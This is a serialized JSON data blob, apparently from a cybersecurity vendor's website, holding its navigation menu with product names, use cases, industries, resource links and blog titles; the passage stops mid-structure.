[{"_1":2,"_3310":-5,"_3311":-5},"loaderData",{"_3":4,"_1310":1311},"root",{"_5":6,"_7":8,"_1301":1302,"_1308":1309},"preprod",false,"common",{"_9":10,"_1106":1107,"_1195":1196,"_1268":1269,"_1300":-5},"headerContent",{"_11":12,"_1051":1052,"_1087":1088},"mainNavigationContent",[13,229,472,481,691,842,926],{"_14":15,"_223":224,"_225":226,"_227":228,"_45":-5},"columns",[16,195],{"_17":18,"_19":20,"_21":22,"_43":194},"columnSpan",2,"name","Huntress Managed Security Platform","sections",[23,143],{"_17":18,"_24":25,"_26":27,"_103":104,"_107":108,"_31":32,"_109":110,"_111":112,"_106":18,"_113":114,"_127":128,"_45":129,"_33":132,"_134":135,"_141":142},"flowDirection","column","items",[28,51,61,71,81,92],{"_29":30},"item",{"_31":32,"_33":34,"_43":44,"_45":46},"overrideSourceContent",true,"sourceOverrideContent",{"_35":36,"_37":38,"_39":40},"altText","Managed EDR Icon","image","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F23f6507216a943ae95105a31f80f52c8","subheading",{"_41":42},"text","

Get full endpoint visibility, detection, and response.

","variant","Text Link","source",{"_47":48,"_39":42,"_37":38,"_49":50},"heading","Managed EDR","url","/platform/managed-edr",{"_29":52},{"_31":32,"_33":53,"_43":44,"_45":58},{"_35":54,"_37":55,"_39":56},"Managed ITDR Icon","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fea4f7d39c8dc4791b042afe265917451",{"_41":57},"

Protect your Microsoft 365 and Google Workspace identities and email environments.

",{"_47":59,"_39":57,"_37":55,"_49":60},"Managed ITDR: Identity Threat Detection and Response","/platform/managed-itdr",{"_29":62},{"_31":32,"_33":63,"_43":44,"_45":68},{"_35":64,"_37":65,"_39":66},"Managed SIEM Icon","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F8feb54a3643a4a168a470f2842909fcd",{"_41":67},"

Managed threat response and robust compliance support at a predictable price.

",{"_47":69,"_39":67,"_37":65,"_49":70},"Managed SIEM","/platform/siem",{"_29":72},{"_31":32,"_33":73,"_43":44,"_45":78},{"_35":74,"_37":75,"_39":76},"SAT Icon","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F83455b8013984422848df5d1829bc1e5",{"_41":77},"

Empower your teams with science-backed security awareness training.

",{"_47":79,"_39":77,"_37":75,"_49":80},"Managed Security Awareness Training Software ","/platform/security-awareness-training",{"_29":82},{"_31":32,"_33":83,"_43":44,"_45":90},{"_35":84,"_47":85,"_37":87,"_39":88},"Huntress Managed ISPM Icon",{"_41":86},"Managed ISPM","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F96fd92518985400188885d6d49f113d1",{"_41":89},"

Continuous Microsoft 365 and identity hardening, managed and enforced by Huntress experts.

",{"_47":86,"_39":89,"_37":87,"_49":91},"/platform/managed-ispm",{"_29":93},{"_31":32,"_33":94,"_43":44,"_45":101},{"_35":95,"_47":96,"_37":98,"_39":99},"Huntress Managed ESPM Icon",{"_41":97},"Managed ESPM","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F40107527fc014715aadbe5e6f4b55d11",{"_41":100},"

Proactively secure endpoints against attacks.

",{"_47":97,"_39":100,"_37":98,"_49":102},"/platform/managed-espm","itemsLayout",{"_24":105,"_106":18},"row","rowItemCount","links",[],"rowGapWidthDesktop","8","rowGapWidthLargeDesktop","10","sectionLayout",{"_115":116,"_117":118,"_119":120,"_121":122,"_126":118},"alignSelf","start","grow",1,"justifyContent","center","showSectionSeparator",{"_123":32,"_124":6,"_125":32},"desktop","hideSeparatorLineDesktop","mobile","shrink","sectionName","Platform Overview",{"_47":128,"_39":130,"_49":131},"Explore the Huntress managed cybersecurity platform for EDR, identity threat detection, and 24/7 monitoring built to help IT teams detect, respond to, and stop cyber threats without complexity.","/platform",{"_47":133,"_134":128},{"_41":128},"title",{"_136":131,"_137":49,"_138":139,"_41":128,"_43":140},"href","hrefType","target","_self","menu","footer",{"_45":-5},{"_17":18,"_24":105,"_26":144,"_119":120,"_181":120,"_107":182,"_183":32,"_184":32,"_185":6,"_186":6,"_106":187,"_113":188,"_127":190,"_134":191,"_45":-5,"_141":193},[145,164],{"_29":146,"_157":158},{"_31":32,"_33":147,"_43":44,"_45":154},{"_35":148,"_47":149,"_151":32,"_152":32,"_37":153},"Integrations Icon",{"_41":150},"Integrations","hideEyebrow","hideSubheading","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Ff5189e4920554855b15e98b3da4775d9",{"_47":150,"_152":32,"_39":155,"_151":32,"_37":153,"_49":156},"Our Integration Partners and Technologies - connecting with your stack to minimize operational overhead.","/platform/integrations","mobileItem",{"_31":32,"_33":159,"_43":44,"_162":-7,"_45":163},{"_47":160,"_151":32,"_161":32,"_152":32},{"_41":150},"hideImage","overrideLayout",{"_47":150,"_152":32,"_39":155,"_151":32,"_161":32,"_49":156},{"_29":165,"_157":177},{"_31":32,"_33":166,"_43":44,"_45":176},{"_35":167,"_47":168,"_151":32,"_152":32,"_37":170,"_171":32,"_172":32,"_173":32,"_138":174,"_49":175},"Document icon",{"_41":169},"Support Documentation","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F2be73561192d447f878667d454833863","noFollow","noOpener","noReferrer","_blank","https://support.huntress.io/hc/en-us",{"_47":169,"_152":32,"_151":32,"_37":170,"_49":175,"_138":174,"_171":32,"_172":32,"_173":32},{"_31":32,"_33":178,"_43":44,"_162":6,"_45":180},{"_47":179,"_151":32,"_161":32,"_152":32},{"_41":169},{"_47":169,"_152":32,"_151":32,"_161":32},"justifyContentVertically",[],"noHeading","noTitle","reserveHeadingSpace","reserveTitleSpace",0,{"_119":120,"_121":189},{"_125":32},"Integrations & Support Documentation",{"_43":192},"menu with visibility",{"_45":-5},"default",{"_17":118,"_19":196,"_21":197,"_43":194},"Featured Content",[198],{"_17":118,"_24":25,"_26":199,"_107":220,"_183":32,"_184":32,"_186":6,"_134":221,"_45":-5,"_141":222},[200],{"_29":201},{"_202":203,"_31":32,"_33":211,"_43":217,"_45":218},"cardProperties",{"_204":205,"_206":207,"_210":32},"backgroundVariant","gradient","linkButtonProperties",{"_41":208,"_43":209},"Book a Demo","solid","showLinkButton",{"_47":212,"_151":32,"_37":214,"_39":215},{"_41":213},"See Huntress in Action","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F51a8e99c510142ed9fbe3e6726a87f33",{"_41":216},"

Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

","Card",{"_47":213,"_39":216,"_151":32,"_37":214,"_49":219},"/demo",[],{"_43":192},{"_45":-5},"linkProperties",{},"menuText","Products","type","Menu",{"_14":230,"_223":470,"_225":471,"_227":228,"_45":-5},[231,307,440],{"_17":118,"_19":232,"_21":233,"_43":306},"Threats We Stop",[234],{"_235":6,"_17":118,"_24":25,"_141":236,"_26":246,"_103":293,"_295":32,"_107":296,"_31":32,"_113":297,"_127":232,"_299":300,"_33":301,"_134":303,"_45":305},"collapsibleOnMobile",{"_237":238,"_239":240,"_19":238,"_45":241,"_43":245},"ctaText","View All","ctaVariant","link",{"_47":242,"_39":243,"_49":244},"Resources","Cybersecurity is dynamic and ever-changing. Stay up-to-date with the latest resources to help you elevate your security expertise. Watch webinars, download eBooks, and more.","/resources","Link Button",[247,257,267,277,287],{"_29":248},{"_31":32,"_33":249,"_43":44,"_45":254},{"_35":250,"_47":251,"_151":32,"_152":32,"_37":253},"Phishing Icon",{"_41":252},"Phishing","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F7e00219348d34773bbc54d71e6109727",{"_47":252,"_152":32,"_39":255,"_151":32,"_37":253,"_49":256},"Prevent phishing attacks before they lead to compromised accounts and business disruption. Huntress protects identities and endpoints while helping your team build stronger security habits through awareness and response.","/use-cases/phishing",{"_29":258},{"_31":32,"_33":259,"_43":44,"_45":264},{"_35":260,"_47":261,"_151":32,"_262":6,"_152":32,"_37":263},"Business Email Compromise",{"_41":260},"hideHeading","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fb9a5513cc47b4ca6aa833d798751391a",{"_47":260,"_152":32,"_39":265,"_151":32,"_37":263,"_49":266},"Prevent business email compromise with 24/7 identity monitoring and SOC-backed response. Huntress helps detect account takeover, suspicious activity, and email-based threats before attackers can cause financial damage.","/use-cases/business-email-compromise",{"_29":268},{"_31":32,"_33":269,"_43":44,"_45":274},{"_35":270,"_47":271,"_151":32,"_262":6,"_152":32,"_37":273},"Ransomware Icon",{"_41":272},"Ransomware","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F08b433fa08ac4e89a73dc37c28513bdf",{"_47":272,"_152":32,"_39":275,"_151":32,"_37":273,"_49":276},"Stop ransomware before it spreads across your environment and disrupts your business. Huntress delivers 24/7 detection, threat hunting, and rapid response to contain attacks before they turn into downtime.","/use-cases/ransomware",{"_29":278},{"_31":32,"_33":279,"_43":44,"_45":284},{"_35":280,"_47":281,"_151":32,"_152":32,"_37":283},"Infostealers Icon",{"_41":282},"Infostealers","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F4763c8fd1d48402f8cbb68399734a16c",{"_47":282,"_152":32,"_39":285,"_151":32,"_37":283,"_49":286},"Stop infostealers before they steal credentials, session tokens, and sensitive business data. Huntress combines managed detection and response with a 24/7 human-led SOC to find, isolate, and stop threats fast.","/use-cases/infostealers",{"_29":288},{"_206":289,"_43":245,"_45":290},{"_41":238,"_43":240},{"_39":291,"_49":292},"Huntress offers cybersecurity solutions to protect your business from all modern threats, including phishing attacks, business email compromise, and compliance challenges — keeping your operations secure and resilient.","/use-cases",{"_294":32},"lastItemIsFooter","lastItemAsFooter",[],{"_121":298},{"_125":32},"sectionTitle","Use Cases",{"_47":302,"_134":300,"_49":292},{"_41":232},{"_136":304,"_137":49,"_41":300,"_43":140},"/",{"_47":232,"_49":292},"light",{"_17":118,"_19":308,"_21":309,"_43":194},"Industries & Tailored Solutions",[310,385],{"_235":32,"_17":118,"_24":105,"_26":311,"_103":370,"_107":371,"_31":32,"_106":18,"_113":372,"_127":374,"_299":375,"_33":376,"_134":380,"_45":382,"_141":384},[312,320,327,334,341,348,355,362],{"_29":313},{"_31":32,"_33":314,"_43":44,"_45":315},{"_151":32,"_161":32,"_152":32},{"_47":316,"_152":32,"_39":317,"_151":32,"_161":32,"_37":318,"_49":319},"Education","Protect your school from evolving cyber threats with Huntress. Our cybersecurity solutions for education secure sensitive student data, block ransomware attacks, and empower IT teams to stay one step ahead of adversaries.","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F577e32909b704e5ab6e87ccec0003e14","/industries/education",{"_29":321},{"_31":32,"_33":322,"_43":44,"_45":323},{"_151":32,"_161":32,"_152":32},{"_47":324,"_152":32,"_39":325,"_151":32,"_161":32,"_49":326},"Financial Services","Protect financial data and customer accounts with Huntress. Our cybersecurity solutions for financial services detect and stop ransomware, phishing, and other threats before they can disrupt operations.","/industries/financial-services",{"_29":328},{"_31":32,"_33":329,"_43":44,"_45":330},{"_151":32,"_161":32,"_152":32},{"_47":331,"_152":32,"_39":332,"_151":32,"_161":32,"_49":333},"State and Local Government","Defend citizen data and government networks with Huntress. Our purpose-built cybersecurity solutions for state and local agencies stop ransomware, phishing, and other threats before they disrupt essential public services.","/industries/state-and-local-government",{"_29":335},{"_31":32,"_33":336,"_43":44,"_45":337},{"_151":32,"_161":32,"_152":32},{"_47":338,"_152":32,"_39":339,"_151":32,"_161":32,"_49":340},"Healthcare","Protect patient data and healthcare systems with Huntress. Our healthcare cybersecurity solutions detect and stop ransomware, phishing, and other threats before they can disrupt patient care.","/industries/healthcare",{"_29":342},{"_31":32,"_33":343,"_43":44,"_45":344},{"_151":32,"_161":32,"_152":32},{"_47":345,"_152":32,"_39":346,"_151":32,"_161":32,"_49":347},"Law Firms","Safeguard client data and sensitive case files with Huntress. Our cybersecurity solutions for law firms proactively stop ransomware, phishing, and other threats before they jeopardize confidentiality, compliance, or client relationships.","/industries/law-firms",{"_29":349},{"_31":32,"_33":350,"_43":44,"_45":351},{"_151":32,"_161":32,"_152":32},{"_47":352,"_152":32,"_39":353,"_151":32,"_161":32,"_49":354},"Manufacturing","Secure production systems and protect your intellectual property with Huntress. Our cybersecurity solutions for the manufacturing industry detect and stop ransomware, phishing, and other threats before they disrupt your supply chain.","/industries/manufacturing",{"_29":356},{"_31":32,"_33":357,"_43":44,"_45":358},{"_151":32,"_161":32,"_152":32},{"_47":359,"_152":32,"_39":360,"_151":32,"_161":32,"_49":361},"Utilities","Protect critical infrastructure and energy systems with Huntress. Our cybersecurity solutions for the utilities sector detect and stop ransomware, phishing, and other threats before they can disrupt operations.","/industries/utilities",{"_29":363},{"_206":364,"_162":6,"_43":245,"_45":365},{"_41":238,"_43":240},{"_47":366,"_39":367,"_37":368,"_49":369},"Solutions by Industry","Protect your business, no matter the industry. From eCommerce to healthcare to manufacturing, the Huntress cybersecurity platform secures organizations of every kind. Explore our solutions today!","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F9df720005de743498214f1e6652e8d3d","/solutions-by-industry",{"_24":105,"_106":18},[],{"_121":373},{"_123":32,"_125":32},"Industries We Serve","Industries",{"_47":377,"_134":375,"_49":369},{"_378":379,"_41":374},"fontColor","green",{"_136":381,"_137":49,"_41":375,"_43":140},"/industries",{"_47":374,"_383":379,"_49":369},"headingFontColor",{"_45":-5},{"_235":32,"_17":118,"_24":105,"_26":386,"_103":419,"_107":426,"_31":32,"_106":425,"_113":427,"_127":434,"_299":434,"_33":435,"_134":437,"_45":438,"_141":439},[387,395,403,412],{"_29":388},{"_162":6,"_31":32,"_33":389,"_43":44,"_45":392},{"_47":390,"_151":32,"_262":6,"_161":32,"_152":32},{"_41":391},"MSPs",{"_47":391,"_152":32,"_39":393,"_151":32,"_161":32,"_49":394},"Discover how Huntress helps MSPs and MSSPs secure their clients, level up their security expertise, and sleep better at night.","/partners/msps",{"_29":396},{"_31":32,"_33":397,"_43":44,"_45":400},{"_47":398,"_151":32,"_161":32,"_152":32},{"_41":399},"Resellers",{"_47":399,"_152":32,"_39":401,"_151":32,"_161":32,"_49":402},"75-day sales cycles. 95% renewal rates. 98.8% CSAT. The Huntress Partner Program for Resellers is built to make your security business more profitable. ","/partners/resellers",{"_29":404},{"_31":32,"_33":405,"_43":44,"_45":408},{"_47":406,"_151":32,"_161":32,"_152":32},{"_41":407},"SMBs",{"_47":407,"_152":32,"_39":409,"_151":32,"_161":32,"_37":410,"_49":411},"Protect your company with limited IT staff using Huntress Managed EDR and Microsoft 365 security. 24/7 SOC, endpoint protection, and identity defense designed for mid-sized businesses.","https://cdn.builder.io/api/v1/assets/3eb6f92aedf74f109c7b4b0897ec39a8/macos-edr-cta","/why-huntress/it-security-teams/mid-sized-businesses",{"_29":413},{"_162":6,"_31":32,"_33":414,"_43":44,"_45":415},{"_151":32,"_161":32,"_152":32},{"_47":416,"_152":32,"_39":417,"_151":32,"_161":32,"_49":418},"Compliance","Simplify cybersecurity compliance with managed security, log visibility, and reporting support built for lean teams. Huntress helps you strengthen readiness for frameworks like CMMC, HIPAA, PCI, and more.","/use-cases/cybersecurity-compliance",{"_420":421,"_24":105,"_423":424,"_106":425},"columnGap",{"_123":422},"","rowGap",{"_123":422},3,[],{"_428":422,"_429":422,"_119":430,"_431":432,"_121":433},"alignContent","alignItems","between","paddingTop","2",{"_125":32},"Tailored Solutions",{"_47":436,"_134":434,"_49":422},{"_378":379,"_41":434},{"_136":304,"_137":49,"_41":434,"_43":140},{"_47":434,"_383":379},{"_45":-5},{"_17":118,"_19":196,"_21":441,"_43":194},[442],{"_17":118,"_24":25,"_26":443,"_107":467,"_183":32,"_184":32,"_134":468,"_45":-5,"_141":469},[444],{"_29":445,"_157":458},{"_202":446,"_31":32,"_33":449,"_43":217,"_45":456},{"_204":205,"_447":448,"_210":6},"gradientBackgroundMarginTop","40%",{"_35":450,"_47":451,"_151":32,"_37":453,"_39":454},"password.txt and redacted documents",{"_378":379,"_41":452},"What Gets Overlooked Gets Exploited","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fa49c3c99b59f42d8b2e6a69a7a3a96dc",{"_41":455},"

Most days, nothing happens. But one day, something will.

",{"_47":452,"_383":379,"_39":455,"_151":32,"_37":453,"_49":457},"/security-topics/overlooked-obligations",{"_202":459,"_31":32,"_33":461,"_43":217,"_162":-7,"_45":466},{"_204":205,"_447":460,"_210":6},"45%",{"_35":450,"_47":462,"_151":32,"_37":453,"_39":464},{"_378":379,"_41":463},"Cybercriminals Have Evolved",{"_41":465},"

Get the intel on today’s cybercriminal groups and learn how to protect yourself.

",{"_47":463,"_383":379,"_39":465,"_151":32,"_37":453,"_49":457},[],{"_43":192},{"_45":-5},{},"Solutions",{"_14":473,"_225":474,"_31":6,"_45":475,"_478":479,"_227":480},[],"Pricing",{"_47":474,"_39":476,"_49":477},"Book a demo to get customized Huntress pricing based on your needs. Pay only for what you use. No gotchas, surprises, or bait-and-switch tactics. No tiers, add-ons, or expensive bundles.","/pricing","sourceContentOverride",{},"Link",{"_14":482,"_223":690,"_225":242,"_227":228,"_45":-5},[483,540,655],{"_17":118,"_19":484,"_21":485,"_43":194},"Community Series",[486],{"_235":32,"_17":118,"_24":25,"_26":487,"_107":532,"_183":6,"_31":32,"_113":533,"_127":484,"_299":484,"_33":535,"_134":537,"_45":538,"_141":539},[488,499,510,521],{"_29":489},{"_31":32,"_33":490,"_43":44,"_45":497},{"_35":491,"_47":492,"_151":32,"_37":494,"_39":495},"Product Lab Logo",{"_41":493},"The Product Lab","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Ff15ced11f90c4aeb9e3138349697b4d1",{"_41":496},"

Shape the next big thing in cybersecurity together.

",{"_47":493,"_39":496,"_151":32,"_37":494,"_49":498},"/community-series/product-lab",{"_29":500},{"_31":32,"_33":501,"_43":44,"_45":508},{"_35":502,"_47":503,"_151":32,"_37":505,"_39":506},"Fireside Chat Logo",{"_41":504},"Fireside Chat","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F34936a86a2524615b601b9eed234ff77",{"_41":507},"

Real people. Real perspectives. Better conversations.

",{"_47":504,"_39":507,"_151":32,"_37":505,"_49":509},"/community-series/fireside-chat",{"_29":511},{"_31":32,"_33":512,"_43":44,"_45":519},{"_35":513,"_47":514,"_151":32,"_37":516,"_39":517},"Tradecraft Tuesday Logo",{"_41":515},"Tradecraft Tuesday","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F27b40a1fa7214684a25262c583f24fdd",{"_41":518},"

No products, no pitches – just tradecraft.

",{"_47":515,"_39":518,"_151":32,"_37":516,"_49":520},"/community-series/tradecraft-tuesday",{"_29":522},{"_31":32,"_33":523,"_43":44,"_45":530},{"_35":524,"_47":525,"_151":32,"_37":527,"_39":528},"_declassified icon",{"_41":526},"_declassified","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Ff4d416cb29644950a764cd25117d7a7a",{"_41":529},"

Exposing hidden truths in the world of cybersecurity.

",{"_47":526,"_39":529,"_151":32,"_37":527,"_49":531},"/declassified",[],{"_121":534},{"_125":32},{"_47":536,"_134":484},{"_378":379,"_41":484},{"_136":304,"_137":49,"_41":484,"_43":140},{"_47":484,"_383":379},{"_45":-5},{"_17":118,"_19":541,"_21":542,"_43":194},"Resources & Cybersecurity Education",[543,606],{"_235":32,"_17":118,"_24":25,"_26":544,"_103":599,"_183":6,"_31":32,"_106":18,"_113":600,"_127":242,"_299":242,"_45":602,"_33":603,"_141":605},[545,553,562,575,583,591],{"_29":546},{"_31":32,"_33":547,"_43":44,"_45":550},{"_47":548,"_151":32,"_161":32,"_152":32},{"_41":549},"Upcoming Events",{"_47":549,"_152":32,"_39":551,"_151":32,"_161":32,"_49":552},"Explore our upcoming events across North American, Australia and New Zealand, and the UK and Ireland - from conferences to Huntress-hosted roadshows and virtual webinars. ","/upcoming-events",{"_29":554},{"_31":32,"_33":555,"_43":44,"_45":560},{"_47":556,"_151":32,"_161":32,"_152":32,"_558":559,"_49":244},{"_41":557},"Ebooks","querystring","?assetTypes=Ebook",{"_47":557,"_152":32,"_39":243,"_151":32,"_161":32,"_49":561},"/resources?assetTypes=Ebook",{"_29":563},{"_31":32,"_33":564,"_43":44,"_45":570},{"_47":565,"_151":32,"_161":32,"_152":32,"_558":569,"_49":244},{"_566":567,"_41":568},"fontSize","medium","On-Demand Webinars","?assetTypes=On-Demand+Webinar",{"_47":568,"_571":567,"_152":32,"_39":572,"_151":32,"_161":32,"_37":573,"_49":574},"headingFontSize","Stop cyberattacks with the Huntress Managed Platform. Get 24/7 SOC-backed EDR, ITDR, SIEM, & Security Awareness Training for enterprise-grade protection across all your environments","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fccb1eb70d649487799b8ee1e1a5a74a4","/resources?assetTypes=On-Demand+Webinar",{"_29":576},{"_31":32,"_33":577,"_43":44,"_45":581},{"_47":578,"_151":32,"_161":32,"_152":32,"_558":580,"_49":244},{"_41":579},"Videos","?assetTypes=Video",{"_47":579,"_152":32,"_39":243,"_151":32,"_161":32,"_49":582},"/resources?assetTypes=Video",{"_29":584},{"_31":32,"_33":585,"_43":44,"_45":589},{"_47":586,"_151":32,"_161":32,"_152":32,"_558":588,"_49":244},{"_41":587},"Whitepapers","?assetTypes=Whitepaper",{"_47":587,"_152":32,"_151":32,"_161":32,"_49":590},"/resources?assetTypes=Whitepaper",{"_29":592},{"_31":32,"_33":593,"_43":44,"_45":597},{"_47":594,"_151":32,"_161":32,"_152":32,"_558":596,"_49":244},{"_41":595},"Datasheets","?assetTypes=Datasheet",{"_47":595,"_152":32,"_151":32,"_161":32,"_49":598},"/resources?assetTypes=Datasheet",{"_24":105,"_106":18},{"_121":601},{"_123":32,"_125":32},{"_47":242,"_383":379,"_39":243,"_49":244},{"_47":604,"_49":244},{"_378":379,"_41":242},{"_45":-5},{"_235":32,"_17":118,"_24":25,"_26":607,"_103":647,"_31":32,"_106":18,"_113":648,"_127":650,"_299":650,"_45":651,"_33":652,"_141":654},[608,616,624,632,639],{"_29":609},{"_31":32,"_33":610,"_43":44,"_45":613},{"_47":611,"_151":32,"_161":32,"_152":32},{"_41":612},"Cybersecurity 101",{"_47":612,"_152":32,"_39":614,"_151":32,"_161":32,"_49":615},"Master cybersecurity 101 fundamentals. Learn how to protect your business from evolving digital threats with our cybersecurity glossary from the experts at Huntress.","/cybersecurity-education/cybersecurity-101",{"_29":617},{"_31":32,"_33":618,"_43":44,"_45":621},{"_47":619,"_151":32,"_161":32,"_152":32},{"_41":620},"Cybersecurity Guides",{"_47":620,"_152":32,"_39":622,"_151":32,"_161":32,"_49":623},"Access Huntress' in-depth cybersecurity guides on ransomware, phishing, malware, EDR, data breaches, and more. Strengthen your defenses with actionable insights tailored for businesses.","/guides",{"_29":625},{"_31":32,"_33":626,"_43":44,"_45":629},{"_47":627,"_151":32,"_161":32,"_152":32},{"_41":628},"Threat Library",{"_47":628,"_152":32,"_39":630,"_151":32,"_161":32,"_49":631},"The Huntress Threat Library is your expert resource for in-depth insights on vulnerabilities, malware, ransomware, threat actors, and data breaches. Stay ahead with actionable threat intelligence. ","/threat-library",{"_29":633},{"_31":32,"_33":634,"_43":44,"_45":635},{"_151":32,"_161":32,"_152":32},{"_47":636,"_152":32,"_39":637,"_151":32,"_161":32,"_49":638},"Real Tradecraft, Real Results","Behind every neutralized threat at Huntress is our Security Operations team, combining expertise with relentless dedication. Discover the real stories where their tradecraft protects what matters most—your business.","/why-huntress/24-7-soc/tradecraft-stories",{"_29":640},{"_31":32,"_33":641,"_43":44,"_45":644},{"_47":642,"_151":32,"_161":32,"_152":32},{"_41":643},"2026 Cyber Threat Report",{"_47":643,"_152":32,"_151":32,"_161":32,"_37":645,"_49":646},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F4a063e40d18748ed8d0d26c676af1285","/resources/2026-cyber-threat-report",{"_24":105,"_106":18},{"_121":649},{"_125":32},"Cybersecurity Education",{"_47":650,"_383":379,"_39":572,"_37":573,"_49":304},{"_47":653},{"_378":379,"_41":650},{"_45":-5},{"_17":118,"_19":656,"_21":657,"_43":306},"The Huntress Blog",[658],{"_17":118,"_24":25,"_141":659,"_26":660,"_31":32,"_113":683,"_127":656,"_299":656,"_45":684,"_33":688},{"_31":6,"_45":-5},[661,669,676],{"_29":662},{"_43":663,"_45":664,"_202":668},"Small Card",{"_47":665,"_37":666,"_49":667},"Codex Red: Untangling a Linux Incident With an OpenAI Twist (Part 2)","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F3780ef8b825e45cd9a78107ffbceaf7b","/blog/codex-part-two",{},{"_29":670},{"_43":663,"_45":671,"_202":675},{"_47":672,"_37":673,"_49":674},"Attackers Didn’t Wait for AI. They Built Workflows Around It.","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fe6347e5e596e44acace15c2f5b990e76","/blog/ai-powered-attack-workflows",{},{"_29":677},{"_43":663,"_45":678,"_202":682},{"_47":679,"_37":680,"_49":681},"axios npm Compromise: The Ultimate Supply Chain Scaries","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Ffcf17214d99843cfb4caea51f70e7140","/blog/axios-npm-compromise",{},{"_115":422},{"_47":656,"_39":685,"_37":686,"_49":687},"Explore the Huntress cybersecurity blog for expert insights on ransomware, threat detection, incident response, and security best practices to protect your organization.","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F78060584ce444ba5a726170f7951a8ec","/blog",{"_47":689,"_134":656,"_49":687},{"_41":656},{},{"_14":692,"_225":703,"_840":6,"_478":841,"_227":228,"_45":-5},[693,717,771],{"_17":118,"_19":694,"_21":695,"_43":194},"Resource Card",[696],{"_17":118,"_24":25,"_26":697,"_183":32,"_184":32,"_113":709,"_299":713,"_33":714,"_45":715,"_141":716},[698],{"_29":699},{"_202":700,"_31":32,"_33":701,"_43":217,"_45":707},{"_204":205,"_447":460,"_210":6},{"_47":702,"_151":32,"_37":704,"_39":705},{"_378":379,"_41":703},"Why Huntress","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F627cb459ac894ef98ad1885516698788",{"_41":706},"

Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

",{"_47":703,"_383":379,"_39":706,"_151":32,"_37":704,"_49":708},"/why-huntress",{"_710":422,"_121":711},"paddingBottom",{"_712":32,"_125":32},"hideSeparatorLineMobile","Why Huntress Resource Card",{},{},{"_45":-5},{"_17":118,"_19":718,"_21":719,"_43":194},"Why Huntress Related Links",[720],{"_17":118,"_24":25,"_26":721,"_119":120,"_183":32,"_184":32,"_185":6,"_186":6,"_113":766,"_299":718,"_33":768,"_45":769,"_141":770},[722,733,744,755],{"_29":723},{"_31":32,"_33":724,"_43":44,"_45":731},{"_35":725,"_47":726,"_151":32,"_37":728,"_39":729,"_134":725},"SOC Icon",{"_41":727},"The Huntress SOC","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F0ff3035d72574e228a896b365082d2ff",{"_41":730},"

24/7 Security Operations Center

",{"_47":727,"_39":730,"_151":32,"_37":728,"_49":732},"/why-huntress/24-7-soc",{"_29":734},{"_31":32,"_33":735,"_43":44,"_45":742},{"_35":736,"_47":737,"_151":32,"_37":739,"_39":740},"Benefits Icon",{"_41":738},"Reviews","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F3dca1e2d45844fe18d3447500ac6eedc",{"_41":741},"

Why businesses of all sizes trust Huntress to defend their assets

",{"_47":738,"_39":741,"_151":32,"_37":739,"_49":743},"/why-huntress/reviews",{"_29":745},{"_31":32,"_33":746,"_43":44,"_45":753},{"_35":747,"_47":748,"_151":32,"_37":750,"_39":751},"Case Study Icon",{"_41":749},"Case Studies","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F9fddb087804f49f480fdb7ad6e6dd8aa",{"_41":752},"

Learn directly from our partners how Huntress has helped them

",{"_47":749,"_39":752,"_151":32,"_37":750,"_49":754},"/why-huntress/case-studies",{"_29":756},{"_31":32,"_33":757,"_43":44,"_45":764},{"_35":758,"_47":759,"_151":32,"_37":761,"_39":762},"Community Icon",{"_41":760},"Community","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fcbab242a68d84eeca207c1414ab79458",{"_41":763},"

Get in touch with the Huntress Community team

